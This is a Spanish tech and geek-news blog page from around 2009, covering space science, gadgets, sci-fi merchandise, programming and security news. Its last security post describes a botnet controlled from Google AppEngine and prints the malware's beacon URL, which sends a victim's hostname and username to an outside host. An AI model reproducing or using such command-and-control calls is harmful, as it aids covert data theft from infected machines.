La documentación recopilada es muy variopinta y podemos encontrar verdaderas joyas como el primer borrador de EDVAC, la patente de ENIAC, conferencias de la OTAN, así como documentación relacionada a distintos lenguajes de programación con notas del mismísimo Dennis Ritchie entre otros.

Escudo magnético protector para naves espaciales

Este post estaría en el apartado de "ciencia ficción y fantasía" si no fuera por un grupo de científicos británicos que han publicado en la revista del Instituto Plasma Physics and Controlled Fusion (Física del Plasma y Fusión Controlada) como controlar un escudo magnético protector tan grande que puede colocarse alrededor de una nave espacial.

Según los científicos la idea del escudo magnético está basada en el procedimiento que llevaba a cabo Scottie para proteger a la nave Enterprise de los rayos protones. La doctora Rith Bamfordn (directora de investigación) afirma "Estos experimentos iniciales son prometedores y muestran que quizás es posible proteger a los astronautas del letal clima espacial". "Creíamos que no era posible crear una pequeña burbuja en el viento solar". "Pensábamos que teníamos que crear algo muy grande, casi a escala planetaria, para poder desviar estas partículas, pero la primera vez que lo encendimos, funcionó". "Cuando la burbuja recibe un fuerte empujón del viento solar ésta se hace más pequeña. El vídeo de la prueba nos muestra que cuando aumentamos la presión del viento solar, el escudo se hace más pequeño, pero más brillante". (no he encontrado el vídeo)

Todo esto se está preparando para el primer viaje a Marte y, según algunas fuentes, debería estar listo para la fecha de lanzamiento. El viaje a Marte es el más peligroso de los viajes espaciales que se han hecho hasta ahora, de hecho, algunos cosmonautas afirman que el viento solar arruinará la misión.

Lego Matrix

¡Qué bueno! Escenas de Matrix recreadas con Lego. No te pierdas los vídeos.

Puedes ver más en Youtube.

Chuleta de ingeniería inversa para x86/Win32

Pues como por aquí nos encantan las chuletas, desde aquí (formato PDF) os podéis descargar una para los que nos gusta jugar de vez en cuando con algún crackme.

Lámparas LED's para transmitir información a …

Toshiba y NEC, sus creadores, ya hablan de que serán los futuros sustitutos de los Códigos QR.

"El sujeto debe posicionarse a unos 5 metros (o mayor distancia si el anuncio lo necesita) del LED emisor, apuntar con un teléfono con la capacidad de recibir su luz, y de esta forma establecer comunicación y recibir la información.

El LED es capaz de parpadear 4 millones de veces por segundo, y que es posible modificar en tiempo de ejecución esta frecuencia para cambiar el contenido que se está emitiendo a los lectores.

WPTouch y WP-UserOnline de Wordpress

WPTouch es un plugin con temas que facilitan la visualización de un blog de Wordpress desde móviles, algo que realizará de manera automática cuando detecte la llegada de un visitante desde un iPhone, iPod Touch o móviles basados en Android. Crea una versión “light” donde los contenidos JavaScript son eliminados, y donde el texto es ordenado y se le da un formato más uniforme. Tiene muchas opciones de diseño (logo, estructura) y da soporte nativo para Social Bookmarking, con enlaces a Delicious, Twitter, Digg, Technorati y otros. Sólo hay que ingresarlo en los plugins del blog, "Agregar nuevo" y que lo busque.

cómo ir de repente a kagar...

Teniendo esto claro, sólo queda pensar qué revista llevarse, ya que se tarda 20 minutos…

Primeras pruebas del Solar Impulse

El Solar Impulse es un proyecto que pretende realizar la primera vuelta al mundo con un avión que utiliza únicamente energía solar para desplazarse. Cualquier piloto sabrá que lo más importante es el combustible,  siempre hay que estar realizando cálculos de gasto contínuo para los grandes desplazamientos, ascensos pronunciados, etc...  Con éste sistema no hará falta, incluso en días nublados gracias a los acumuladores. El piloto es Bernard Piccard y las pruebas se estan realizando en Suiza, hasta ahora sin complicaciones.

Los 50 mejores inventos del 2009

La revista TIME junto con la CNN han publicado una lista con los 50 mejores inventos del 2009. Os escribo aquí los 10 primeros y os dejo el enlace por si queréis seguir leyendo.

Hay cosas realmente interesantes:

1. El mejor invento del año: cohete Ares de la NASA.
2. Atún criado en cautividad (si he entendido bien, para hacer shashimi ricooo).
3. La bombilla de los 10 millones de dolares.
4. El termostato inteligente.
5. Consola de videojuegos sin necesidad de mando (este mola mucho!!)
6. Teletransporte (aunque no es exactamente eso, es un gran avance).
7. El telescopio para estrellas invisibles.
8. La vacuna del SIDA.
9. Telekinesia (no exactamente).
10. El ojo eléctrico.

La lista completa en:

Los 50 mejores inventos del 2009.

Lost, la 6ª temprorada comienza finalmente el 2 de …

Finalmente, ayer anunció la cadena ABC que el primer capítulo de la 6ª temporada de LOST se emitirá el 2 de febrero. Por cierto, será un capítulo doble y irá después de un capítulo especial resumen de las 5 temporadas pasadas (vaya jaleo que van a liar, :))

Según el calendario provisional colgado en todoseries.com, la serie podría terminar el 18 de mayo.

Nuevo gusano para iPhone. Y van dos.

Hace muy poco nuestro amigo tuxotron colgaba la noticia del primer gusano para el iphone y nos reíamos porque aparecía Rick Astley y no Megan Fox. El caso es que el tema está que arde y acaba de aparecer otro (hace algunas horas) y este no es para guasa. Conocido como Duh o ikee.B afecta igualmente a iPhones con jailbreak y SSS que no han cambiado la contraseña por defecto.

Caza tus propios fantasmas con el nuevo medidor de …

En el envío también están los galones de cazafantasma novato (2 barras ;-) ) y la trampa. Bromas a parte, este es el nuevo medidor de fluctuación de campos electromagnéticos (EMF), ectoplasma para los entendidos en fantasmas, entes del más alla o buscadores de lo no-explicado-por-la-ciencia.

“El modo captura de EMF detecta y registra rápidamente las fluctuaciones, posibilitando al usuario encontrar los valores mínimos y máximos de la investigación”, explica el sitio Scientifics Online, que vende este aparato, que además emite luz e informa sobre la temperatura ambiente.

Error informático colapsa el tráfico aéreo en EEUU

Un problema del ordenador central del sistema de control aéreo obligó a retrasar y cancelar miles de vuelos en todo el país, informaron las autoridades de aviación de EEUU. Esto ocurrió el jueves 19 y hasta el día siguiente continuaron los problemas en los planes de vuelo.

Menos mal que no fueron un par de equipos, si no la gente se tendría que ir en burro. Ya estamos en el futuro, la informática lo es prácticamente todo. Los recortes se pagan caros.

Visto en microsiervos.com

Fabricando un nuevo código para comunicarnos con …

Los científicos que se dedican a la búsqueda de vida extraterrestre han diseñado un nuevo y simple código para enviar mensajes al espacio. Una civilización extraterrestre con un nivel mínimo de matemáticas y astronomía podría descifrarlo sin problemas.

Una de las cosas que más llama la atención, es que estos investigadores (Michael Busch y Rachel Reddick) dicen que los mensajes enviados hasta ahora son prácticamente indescifrables para los posibles extraterrestres (como el de Arecibo y el Cosmic Calls).

Instalación de Google Go en Ubuntu

El nuevo lenguaje de programación de Google, Go, no creo que necesite presentación. Así que vamos al grano.

El script que a continuación os dejo, es el que he usado en mi Ubuntu 9.10, Karmic Koala 64 bits.

#!/bin/bash ARCH=amd64 sudo apt-get install bison make gcc libc6-dev ed mercurial { cat ~/.bashrc; cat <<EOF export GOROOT=$HOME/opt/go export GOARCH=$ARCH export GOOS=linux export GOBIN=$HOME/opt/go/bin export PATH=$PATH:$GOBIN EOF }  > ~/temp.bashrc

¡R2D2 aparece en Star Trek!

Los chicos de ZonaFandom lo han confirmado, en el minuto 47:39 de la película  (aquí una captura a mayor resolución). Era algo que ya se venía hablando desde otros blogs pero la mayoría eran fakes, pero este parece que es verdad.

Personalmente creo que se juega la vida J.J. Abrams metiendo material de Star Wars en el universo Star Trek ;)

Hakipedia

La Hakipedia es una web de colaboración, exacto como la Wikipedia, pero orientada al campo de la seguridad y el hacking.

El LHC vuelve a funcionar

El pasado día 20 de Noviembre hicieron circular por el LHC el primer haz de partículas. El suguiente paso será inyectar el otro haz de partículas en sentido opuesto al primero, para más tarde hacerlos colisionar en algunos puntos determinados del anillo.

De momento se comenzará con colisiones a baja energía. Se espera, si todo va bien, ir aumentando poco a poco la potencia hasta llegar a los 3,5 TeV.

Nuevo golpe a la SGAE

Un juzgado ordena el cierre de una web de enlaces p2p nada más recibir la denuncia de la sgae pero después de que se le diera audiencia al denunciado, que pudo explicar "correctamente" en que consistía su trabajo, el juzgado ha revocado su anterior decisión y ha ordenado reabrir las webs, condenando en costas a la SGAE e imponiéndole además una multa por mala fe procesal, en pocas palabras: por la “intención de evitar el derecho a la defensa” del demandado.

Tron medieval

Visto en NeatOrama

Colección de zapatillas y camisetas Star Wars de …

Para la temporada de Primavera/Verano de 2010 Adidas sacará al mercado (en enero del 2010) esta colección Star Wars para camisetas y zapatillas. Además está basada en los personajes originales (te recuerdo de nuevo que para mi no existen nada más que tres películas de Star Wars y la serie de animación  "Las Guerras Clon") como las tropas imperiales (StormTrooper) y Dath Vader.

HyperBeast

Explicando el AES (Advanced Encryption Standard)

Usando el estilo de monigotes de xcdc, el autor (Jeff Moser)  muestra la evolución hacia el AES o Rijndael y luego incluso explica bastante bien detallado  el funcionamiento del algoritmo de encriptación, en teoría, más seguro a día de hoy.

También puedes acceder al código fuente aquí.

En este enlace hay una animación Flash en Castellano explicando también el funcionamiento.

Y para ver toda la explicación completa:

Moserware

Orion Prime

Te lo creas o no, Orion Prime es un nuevo juego que salió en Octubre para ¡Amstrad CPC! Sí, has leído bien, ¡Amstrad CPC!

Fuente original.

El Universo Digital del IBM PC, AT y PS/2

Este libro ha sido una de mis grandes referencias dentro de este mundo de la Informática. Es una completa guía de programación (en ensamblador y lenguaje C) de sistemas para los microprocesadores 80x86 y Pentium.

Puede que esté un poco desfasado pero aún es muy útil (e indispensable para entender el funcionamiento de esta arquitectura) si quieres programar en ensamblador y C a bajo nivel. De todas formas todos (o casi todos) los ejemplos descritos y técnicas de programación son funcionales hoy día.

Visualización de la caida de imperios

Interesante vídeo y una forma distinta de ver un poco de historia.

Visualizing empires decline from Pedro M Cruz on Vimeo.

Registry Defrag, aplicación gratuita para …

Windows

No es lo mismo limpiar el registro (para eso ya tienes la excelente aplicación CCleaner) que desfragmentarlo. El sistema Windows está contínuamente modificando el registro cuando instalas un programa, cambias parámetros de otro, ejecutas alguna aplicación, etc ...

Esta aplicación optimiza la base de datos eliminando espacios en blanco y agrupando de forma correcta todas las entradas. De hecho funciona casi igual que un defragmentador de disco.

Mando a distancia sin pilas

No es que uno cambie muy a menudo las pilas del mando a distancia, pero si no tenemos que cambiar las pilas al mando, pues una cosa menos de la que preocuparnos.

En la foto podemos ver el prototipo que NEC ha anunciado. La energía se produce con la vibración causada por la pulsación de los botones, cuando uno de los botones se pulsa, éste produce un mínima carga eléctrica suficiente para el funcionamiento del mando.

Demo de Google Chrome OS

Descarga Chrome OS en una máquina VMWare

En Tom’s Hardware hay un enlace donde puedes descargar, después de registrarte, una imágen en Virtual Box o VMWare del nuevo Sistema Operativo de Google, Chrome OS.

Son 300MB de descarga.

¡Corre si quieres ser el primero en probarlo!

Visto en Código Geek.

Printbrush: una impresora "de mano"

Y una vez terminado el documento agarras la impresora y la pasas por el papel. Así de simple y de mágico. Impresionante el video.

Imprime en blanco y negro a 600 dpi, con interfaz USB, Bluetooth e infrarrojos.

Precio: $ 199

Visto en instantfundas.com

Prince of Persia

Seguro que los más antiguos del lugar recordarán este magnífico juego. Yo nunca he sido un gran jugador, ni he pasado tardes enteras delante de ningún juego. Bueno vale, el Sensible Soccer. Pero recuerdo el Prince of Persia por el salto que dio en la animación de los sprites, el del muñeco vaya. Para mi fue un shock el ver la suavidad con la que se movía el muñequito.

El retorno ruso: las nuevas naves nucleares

El pasado día 28 de octubre saltó la noticia de que Rusia planea desarrollar naves nucleares durante la próxima década para viajar a Marte. Muchas organizaciones científicas han puesto el grito en el cielo porque existe una férrea legislación en contra de poner motores nucleares en el espacio, principalmente por seguridad: en caso de no realizar correctamente una orbita o chocara con otro objeto (hice ayer mismo un artículo sobre basura espacial y su alarmante peligrosidad) en la atmósfera sería una catástrofe de una magnitud jamás vista.

Asimo cumple 9 años

Honda celebró en Tokio el noveno cumpleaños de su conocido robot Asimo ante la asistencia de unos 200 fans. Masato Hirose, padre de la “criatura” dio su charla, donde reafirmo el cometido compromiso de fabricar un robot que puede vivir y trabajar en el mundo real.

Y aquí anuncio comercial de Asimo.

El mayor almacén de ficheros .txt de los 80 y 90

Si eres ya un poco viejete como yo y has estado metido desde pequeño en esto de la Informática, seguro que recuerdas las famosas BBS y ftps de los 80 y 90 (como nuestra querida nic.funet.fi, ¿verdad DuenD y tuxotron? ... que buenos ratos hemos pasado) sabrás que prácticamente toda la información estaba en formato .txt.

Desde luego también había imágenes, audio, etc ... pero la información de verdad estaba en formato texto plano. Documentación sobre hacking, phreak, política, anarquía, conspiración, leyes, programación, etc ... eran "traficadas" entre nosotros intercambiando disquetes al principio y luego en CD. Aún tengo guardados unos discos de 3"1/2 con este tipo de ficheros.

¿De dónde viene la palabra SPAM?

Hace poco me contaron de donde venía la palabra SPAM y su utilización para denominar al correo basura. Por si alguien no lo sabe os lo cuento yo:

La palabra spam tiene su origen en una carne en lata originalmente llamada Hormel's Spiced Ham (1937). El Spam fue el alimento de los soldados soviéticos y británicos en la II Guerra Mundial.

Más adelante, el grupo británico Monty Phyton empezó a hacer burla de la carne en lata. Cogieron la costumbre de gritar la palabra spam en diversos anuncios publicitarios, ésto se trasladó al correo electrónico no solicitado, también llamado correo basura.

Primer procesador cuántico programable

y el disipador va en... puf !! ya me he perdio

El cálculo cuántico es el futuro, ya llevan diciendo eso incluso antes de los 180 nanómetros. Esto es el sueño de cualquier informático (con un hangar extra en su casa). Los físicos del NIST han demostrado el primer procesador de información cuántica programable y “universal”. Ahora se medirá todo en bits cuánticos (qubit). La supercomputación está más cerca que nunca.

... si la Tierra tuviera anillos como los de …

La verdad es que sería realmente espectacular.

Visto en VideoSift.

Falso Positivo

Foto original

Videos de seguridad WiFi

 En la fanstástica Security By Default han publicado estos dos de Miguel Ángel Bernabé Cruz donde puedes ver en acción algunas prácticas de hacking sobre redes Wifi.

Para el video primero el escenario es el típico, tu vecino se conecta a tu WiFi, te enterás y quieres darle algún que otro susto:

 Y el segundo es un ataque de sniffing  pasivo completo:

MinWin o la revolución del Kernel de Microsoft

Microsoft creó un proyecto en 2003 para intentar evitar en el futuro problemas de seguridad con sus sistemas operativos, sobre todo Windows 2000 y Windows XP. Uno de esos grandes problemas fueron los virus Nimda, Code Red, etc... Parte de ellos se beneficiaban de bugs, errores o exploits en el desarrollo del código fuente de su kernel. Gracias a los sucesivos Services Packs la mayoría de estos problemas se solucionaron, pero sólo  parcialmente.

WEB dedicada al estudio de Marte

Nasa y Microsoft han lanzado una página web: beamartian.jpl.nasa.gov que invita a los internautas a participar en el estudio y conocimiento del planeta Marte, de forma didáctica y entretenida.

Se pide al ciudadano de a pié que colabore con el estudio de Marte contrastando mapas, dando opiniones sobre investigaciones recientes o analizando datos publicados. Como consulta es una maravilla porque se podrá acceder a las últimas imágenes y revisar distintos gráficos del planeta.

Quejas por el anuncio de "la silla espacial de …

Mientras que miles de personas se dedican, en las distintas agencias espaciales del mundo, a crear órbitas extremadamente precisas para que sus ingenios no sean desintegrados por la basura espacial (que ya empieza a ser preocupante), otros se dedican a lanzar objetos al espacio cercano por culpa de "la publicidad de la falta de ideas" como yo la llamo.

Una queja de miles: "you cant just send stuff into space. That is disgraceful. There’s enough junk flying around there without regulation. To send another piece of crap up for the sake of marketing sickens me."

Gran avance de IBM hacia las máquinas inteligentes

Las computadoras que piensen igual que el cerebro humano están cada vez más cerca. Los superodenadores de hoy no son capaces de imitar los aspectos más básicos del pensamiento humano. El objetivo es conseguir que los ordenadores funcionen como el cerebro humano, pensando y razonando con abstracciones.

Una computadora con un funcionamiento como el cerebro es aún un sueño, pero esta semana los investigadores de IBM informan que han conseguido simular el cortex (corteza cerebral) de un gato, la parte pensante del cerebro, usando un superordenador de 147.456 microprocesadores y 144 terabytes de memoria principal (pedazo de gato tiene que ser ese que han simulado). Ya consiguieron simular el 40% de un cerebro de ratón en 2007 y también un 1% del cerebro humano (esto lo han conseguido este año también).

CyberHades ahora en versión móvil

CyberHades usa el plugin WordPress Mobile Edition para optimizar su visualización en tu dispositivo móvil de forma automática.

Simplemente conecta desde tu móvil o PDA a:

www.cyberhades.com

ó usa este código de barras QR:

Bolsas con células solares

Cuestan entre 300 y 500 euros pero incluyen una batería que puedes usar cuando quieras. La más grande es capaz de producir hasta 15w y las pequeñas 4w, más que suficiente para tu iPod , teléfono o incluso el portátil (con 15w).

Esta es la web que las fabrica.

Una idea genial.

Visto en Kirai.

Circuit MK2, nuevo reloj de Storm of London

Algunos ya lo han bautizado como el reloj Cylon, por la temática. Su precio: 200 $.

Visto en crunchgear.com

Y, también, la última entrada de un Tokioflash, Tibida Watch.

Visto en tokioflash.com + explicación.

¿Sucesor de Milw0rm?

Depués del adiós de Str0ke, administrador de Milw0rm, que si el sitio web se iba a cerrar, luego varias personas se hicieron cargo del mismo, incluso de que más tarde dieran por muerto a Str0ke, donde todo pareció ser un bulo y todo tipo de noticias alrededor de esta “tele-novela”, se empiezan a buscar alternativas y parece que offensive-security.com tiene toda la pinta de que podría tomar el relevo de Milw0rm.

innpulso: Red de ciudades para la ciencia y la …

Después de la oleada de críticas sufrida, el ministerio dirigido por Cristina Garmendia lanza un contraataque con la programa innpulso. Éste dice ser un programa de apoyo a la ciencia y la innovación en las entidades locales e intenta reforzar estos dos aspectos desde el ámbito local. Es decir, parecería entenderse que se pretende un cambio en el modelo productivo empezando por la escala local: ayuntamientos, etc.

El fondo creado para esta iniciativa consta de 5000 millones de euros.

Ahora bien, si uno lee el catálogo de proyectos innovadores o los conceptos financiables puede encontrarse con que con este dinero pueden financiarse obras tan peregrinas como:

• Proyectos de obras de mejora de redes viarias, adecuación, rehabilitación o regeneración de espacios públicos urbanos (sólo en municipios con menos de 2000 habitantes).
• Carriles bicicleta en áreas urbanas, anillos verdes y redes de conexión entre estas vías dentro del municipio.
• Aparcamientos de bicicletas próximos a áreas de trabajo de ocio y centros comerciales.
• (Instalación de) Redes inalámbricas de acceso Wifi en edificios e instalaciones municipales.
• Mejoras de los sistemas de calefacción de los centros municipales con el objeto de reducir emisiones a la atmósfera.
• Carriles bicicleta en áreas urbanas, anillos verdes y redes de conexión entre estas vías dentro del municipio.
• Instalación y/o mejora y/o ampliación de vertederos.

Decidme si me equivoco, pues a veces uno puede perder la perspectiva, pero este programa huele a ladrillo encubierto por ciencia e innovación.

¿Es este el cambio de modelo al que aspiramos?

YouTube Direct

Es una nueva plataforma que Google ha puesto disposición de los desarrolladores para poder enriquecer sus blogs, páginas web con el envío de vídeos por parte de los usuarios. Esta plataforma es una capa más de abstracción encima de la API de Youtube. YouTube Direct está compuesto de 2 componentes. El primer componente sería un panel de control para la administración de los vídeos y el segundo es un componente visual o widget, el cual se usa para el envío, propiamente dicho,  de los vídeos. Ambos componentes, la plataforma en sí, corren sobre el Google App Engine, servidores que Google provee en la nube.

Android Dev Phone 2

El nuevo teléfono de desarrollo oficial de desarrollo de Android (ADP2) será el HTC Magic, también conocido como MyTouch 3G o Google Ion. La principal ventaja de estos teléfonos es que vienen libres, es decir, que puedes usarlo con cualquier compañía telefónica y no viene con ningún tipo de restricción.

Visto en androidcentral.com.

GPS buscador de setas

Como lo oyes!! El nuevo GPS Garmin Oregon 300 es un navegador que incorpora una base de datos con las fichas de las 100 especies más comunes y en el que puedes memorizar los lugares en que se encuentran los suculentos hongos y trazar rutas para llegar hasta ellos. También tiene brújula electrónica y un altímetro. Pantalla táctil, antirreflectante y a prueba de caídas.

'Jaguar' desbanca a 'Correcaminos' como el …

Obviamente los limites estan para ser superados y los records para ser batidos… pero ya quisiera yo uno de estos para mi oficina, aunque estoy seguro que llegaria un momento en que alguien diria la famosa frase: “Ufff!!! que lento esta esto hoy!!”

Por cierto, será suficientemente potente como para instalar el “Güindous”

Visto en elmundo.es.

Operación de rescate para salvar al 'Spirit'

Parece ser que hasta los astros se han aliado con Ferrari y Fernando Alonso en su presentación en Cheste. Y es que muy a nuestro pesar, parece que la “Spirit” se ha quedado atascada en la arena marciana, y parece ser que no tienen demasiadas esperanzas en que salga de su agujero. Hoy consumirán su ultima oportunidad y si no lo logran, parece que la misión quedará finalizada, aunque sinceramente me da la impresión de que ya han amortizado la vida útil de la Spirit mas de lo que ninguno de sus creadores pudieron imaginar… o quizas aun le puedan sacar algo mas de partido dejando una “webcam” perpetua en Marte…

Encuentran el lugar más caliente del universo …

Investigadores de la NASA, combinando las imágenes obtenidas con el telescopio de r-X del satélite Suzaku (Japón) y las del Telescopio Espacial Chandra (NASA) que opera también en la longitud de onda de los r-X, han encontrado una nube de gas ardiente que rodea a un enorme número de galaxias (llamado RXJ1347). Esta nube de gas de 450.000 años luz de tamaño alcanza una temperatura de 300 millones de grados centígrados.

A modo aclaratorio, decir que la temperatura del interior del Sol es inferior a 15 millones de grados centígrados.

Por el momento, la mejor explicación hallada para este extraordinario fenómeno es que en esa lejana región del Universo existen grupos de galaxias en plena colisión entre ellos. Y a una velocidad que es muy superior a la que se da en situaciones análogas observadas en otros lugares. En RXJ1347 las galaxias están chocando unas contra otras a una velocidad superior a los 4.000 km. por segundo, y esa podría ser la explicación más plausible para que se produzcan esas extraordinarias temperaturas.

Estas colisiones entre grupos de galaxias son, en términos de energía, los episodios más violentos del Universo desde los tiempos del Big Bang, según Naomi Ota, de la Universidad de Ciencias de Tokio.

Visto en: madri+d

Ese extraño ser llamado fotógrafo

El más famoso. Yo creo que lleva encima unos 30.000 € o más.

Con impresora incorporada. ¿Dónde llevará las baterías?

Ahora dicen que la arena es buena para limpiar los objetivos

¿Los comienzos del 3D virtual?

Visto en buenafoto.es y más galerías.

INTEL y ultraortodoxos en lucha

"No trabajarás en sábado" es una consabida ley en los judíos, el Sabbath es para descansar. Más de 1000 personas se manifestaron al grito de "¡Shabbes, Shabbes!", que en Yiddish significa día sagrado, delante de la nueva y problemática planta de Intel en Israel.

Visto en BBC

Dell ya tiene móvil | elmundo.es

Parece que esto puede comenzar con una fabulosa guerra de terminales de diferentes marcas, todas ellas fabricantes de hardware informatico. Confio en que será en beneficio de los usuarios finales, ahora solo falta que se continue con una guerra de precios o de regales por parte de las compañias de telefonia movil.

Visto en Dell ya tiene móvil | elmundo.es.

Hay agua en la Luna, y mucha

Se ha hablado mucho sobre el agua en la Luna, pero ahora está confirmado.

LCROSS es el nombre de la misión, y una de sus pruebas era estrellar una sonda en el interior del cráter Cabeus  cerca del polo sur de la Luna.

Y hay agua, mucha agua.

Ya lo sabíamos desde la Lunar Prospector, que había hidrógeno, pero no donde estaba escondido. Ahora sabemos la respuesta, está mezclado con el oxígeno, creando agua, escondida en la parte oscura de los cráteres.

Aprovechando al límite la WiFi gratis de StarBucks

 

Con dos cojon*, lleva los auriculares y el megamando para el simulador. ¿No eras tú verdad, Okajey? ;)

Visto en TechBlog.

Más de 130 posters de Coca-Cola

Si hay una compañía que siempre me ha atraido por su publicidad esa es Coca-Cola. En este post al autor ha recopilado más de 130 posters sobre dicha compañía desde sus inicios hasta la actualidad.

Crítica en Nature a la gestión de la ministra …

La semana pasada en la editorial de la revista Nature aparecía un artículo comentando el retroceso que ha sufrido la I+D española. Dicha editorial enlaza con un artículo del año pasado en el que se hablaba muy positivamente de la nueva política del gobierno español, el cual había aumentado el presupuesto en I+D hasta alcanzar el 1,1% del PIB. Lo que hacía preveer un cambio de modelo económico.

Microsoft banea de Xbox Live a casi un millón de …

Pues eso, entre 600.000 y un millón, ya que no han sido publicados los números exactos.

Tampoco se ha revelado el método para detectar a estos usuarios con consolas modificadas pero insisten en que han violado los términos y condiciones del contrato con Xbox Live. También dicen que han usado métodos variados para detectar muchos tipos de consolas modificadas, anque hay casos de usuarios que han conseguido evadir este baneo.

Programadores + Graffitero = EyeWriter

EyeWriter es un impresionante proyecto en continuo desarrollo, el cual permite a personas que padecen ELA (Esclerosis Lateral Amiotrófica) el poder dibujar usando el movimiento de los ojos. Es un proyecto libre y de código abierto. El hardware que han usado es un dispositivo Eye de Sony (PS3) modificado enganchado a unas gafas y el software ha sido escrito en C++ y principalmente se compone de 2 partes: 1 la parte que se comunica con el ojo y 2 la parte que propiamente dibuja en la pantalla. No te pierdas el vídeo porque merece mucho la pena verlo. El personaje del mismo es un graffitero que fue diagnosticado con ELA en 2003 y actualmente sólo puede mover los ojos. Una vez más como el desarrollo de proyectos libres abre muchas puertas a todo tipo de personas a muy bajo coste.

Las mejores imágenes (y carteles) de películas de …

 

Votadas por los lectores de la revista Wired. Estan bien pero faltan muchas más, yo pondría por ejemplo "Naves Misteriosas", la escena de 2001 de la estación espacial con el vals de fondo, etc ...

Aquí los tienes todos.

No más gnomos en los jardines, pon un Jawa

 

Puedes comprarlo en StarWarSshop.com

Visto OhGizmo

Tutorial para hacer placas de circuitos impresos

 

Existen muchos métodos  (por ejemplo en  Overclockers y UnionRadio) en Internet pero este es de los más claros, barato y sobre todo avanzado, ya que puedes crear casi cualquier circuito que necesites. Para empezar usan un programa de diseño de placas  gratuito llamado ExpressPCB. Luego imprimen la plantilla, después se fotocopia a una hoja tipo "Toner Transfer" (parecido al usado en las camisetas, hay otro método usando papel fotográfico), se corta se pega y finalmente se graba en la placa (con ácido clorhídrico ó agua fuerte  y agua oxigenada de 110 volúmenes, mezclando agua corriente, agua oxigenada y agua fuerte a partes iguales hasta sumergir la placa).

Conduciendo desde tu iPhone

A esto se le llama un persona de recursos. No te pierdas el vídeo creado por la gente de Waterloo Labs, donde nos muestran como han creado un sistema, totalmente casero, para conducir desde un iPhone.

U.S. Airways Flight 1549

Así a primera vista el título probablemente no te diga nada, pero si te digo que ese era el vuelo que acabó aterrizando en el río Hudosn, seguro que ya te acuerdas. Pues bien, leo en Wired sobre una nueva simulación realizada en 3D que no tiene desperdicio alguno. Aquí os dejo el vídeo.

Spiderman arrestado por asalto en Hollywood

Bueno un imitador ;). Cuando paseas por las calles de Hollywood es frecuente ver a imitadores de personajes como Bob Esponja, Elvis, Elmo,  etc ... que hacen un pequeño show y luego te piden propina. A veces no hay propina o no es suficiente, como este caso, donde tienen que aparecer las fuerzas de seguridad para poner orden.

Visto en Los Angeles Time.

 

Tutoriales para 3D Studio Max

Cuando comienzo a dar clases a algún alumno de 3D siempre aparece la pregunta ¿Necesito tener instalada la última versión? Navegando, navegando, me he encontrado con un tutorial de Max bastante bueno (muy masticadito) para que se empiece "desde cero". Aunque no está actualizado, y está basado en un Max antiguo, es perfecto para conocer el entorno y las funciones. Realmente cuando alcanzas cierto nivel es cuando empiezas a necesitar una versión posterior que te facilite las cosas. Esto es parecido a lo que explica cybercaronte en  los "Consejos para empezar a programar": no hay que darle mucha importancia a que lenguaje se debe utilizar al principio. Cuando entiendes la base entiendes Maya, Softimage, Max...

Saco de dormir Tauntaun ya a la venta

Para el que no lo recuerde (entonces probablemente no creció acunado por Star Wars) en El imperio Contraataca, Han Solo salva a Luke Skywalker de una tormenta glaciar metiéndole dentro del cuerpo del Tauntaun que cabalgaba. (siendo pequeño me pareció una de las escenas más impactantes que había visto nunca)

Cuesta 100$ y el interior está decorado con el dibujo de los intestinos del animal, y el tirador de la cremallera es un sable láser de peluche. Hasta estaban estudiando ponerle olor a tripa abierta pero Lucasfilms no quiso ;-) Dulces sueños Luke.

Linterna con pilas para 20 años

mPower Emergency Illuminato, así se llama el ingenio. Está diseñada por Porsche y promete una vida de 20 años.

Son led's de alto rendimiento y tiene incorporada una conexión USB para la recarga de dispositivos móviles. El precio será de unos 250 $.

Visto en cnet.com

Intel pagará 834 millones de euros a AMD para …

Es lo normal, despues de ver como los monopolios limitan las actividades de otras compañias. En mi recuerdo queda aun el caso del Netscape. A Microsoft tambien le pasa lo mismo, asi que esperemos que estas multas, sanciones o compensaciones vayan eliminando los monopolios en beneficio de los usuarios finales. Visto en ElMundo

Recorre el mundo en bici...

… sin moverte de casa! What the heck?

¿Qué te parecería dar una vuelta en bici por la quinta avenida de Nueva York? ¿Y si mañana se te apetece montar por las calles de Holanda? Esto es lo que Aki ha puesto en práctica con un proyecto llamado Stationary Ciclying Through Google Street View. Como él mismo comenta en la web, esto es más una prueba de concepto de como usar Google Street View para recorrer virtualmente el mundo en una bicicleta estática. El proyecto es impresionante y abre muchas puertas a nuevos usos de los servicios de los que disponemos gratuitamente en la red. Ya me imagino esas bicicletas en el gimnasio conectadas a Google Street View, en vez de a un circuito ficticio y poder correr el Tour de Francia.

Odroid

Odroid es una consola portátil que lleva instalado el magnífico sistema operativo Android 2.0. Actualmente se encuentra sólo disponible para desarrolladores. Como Android no necesita presentación, os listo algunas de las características del aparato:

• Un procesador ARM CortexA8 a 833 Mhz (el mismo que alberga el Iphone 3GS).
• 512 MB de memoria RAM DDR2.
• Una generosa pantalla capacitiva de 3,5 pulgadas a 320 x 480 pixeles.
• Salida HDMI para reproducir video a 720p en una pantalla externa.
• Wi-Fi, Bluetooth, 3 pads direccionales digitales…
• Y todo esto por 320 dólares.

Lo que yo llamaría un iTouch Killer! Ahora sólo nos falta un reproductor de MP3 con Android y así también tendríamos un iPod Killer ;-)

Espectacular foto sin retocar de Saturno y su luna …

 

Alucinante, la luna Rea y de fondo los anillos de Saturno. Imágen captada directamente por la sonda Cassini el 8 de noviembre de 2009. La cámara de la sonda estaba aproximadamente a 1.874.061 kilómetros.

Visto en UniverseToday.

La premiere de CoD: Modern Warfare 2

El juego ha sido presentado en un cine en Londres al estilo de las películas de Hollywood. Se estima que a finales de año registre unas 10 millones de copias vendidas, lo que lo convertiría en el video juego de mayor éxito.

Siempre me han gustado estos juegos pero creo que esto es demasiado, hasta para Activision.

Visto en BBC

Smithsonian Astrophysical Observatory

Hola majetes, aquí os presento un página web muy interesante (como la revista, jeje) desde varios puntos de vista: el de la física y el de la fotografía.

La página web del Observatorio Astrofísico Smithsonian es una maravilla. Posee información actualizada de todo lo que ocurre en el universo astrofísico, con explicaciones teóricas para entender los conceptos, gráficos, etc. Pero lo mejor es que acompaña todo con unas fotografías impresionantes como la que pongo a continuación de una supernova.

Command and Control in the Cloud

Si hace algún tiempo ya hablamos en Cyberhades sobre como los bots usaban las redes sociales, ahora nos hacemos eco de como éstos hacen uso de los nuevos sistemas de computación en la nube. El malware ha sido encontrado concretamente en un Google AppEngine. El malware es un ejecutable comprimido con UPX. Es un pequeño motor HTTP que atiende a peticiones (comandos) del tipo:

http://xiaoiboxip.appspot.com/XXXX?hostname= &&systemcpoy= &&userName=

Consejos para empezar a programar

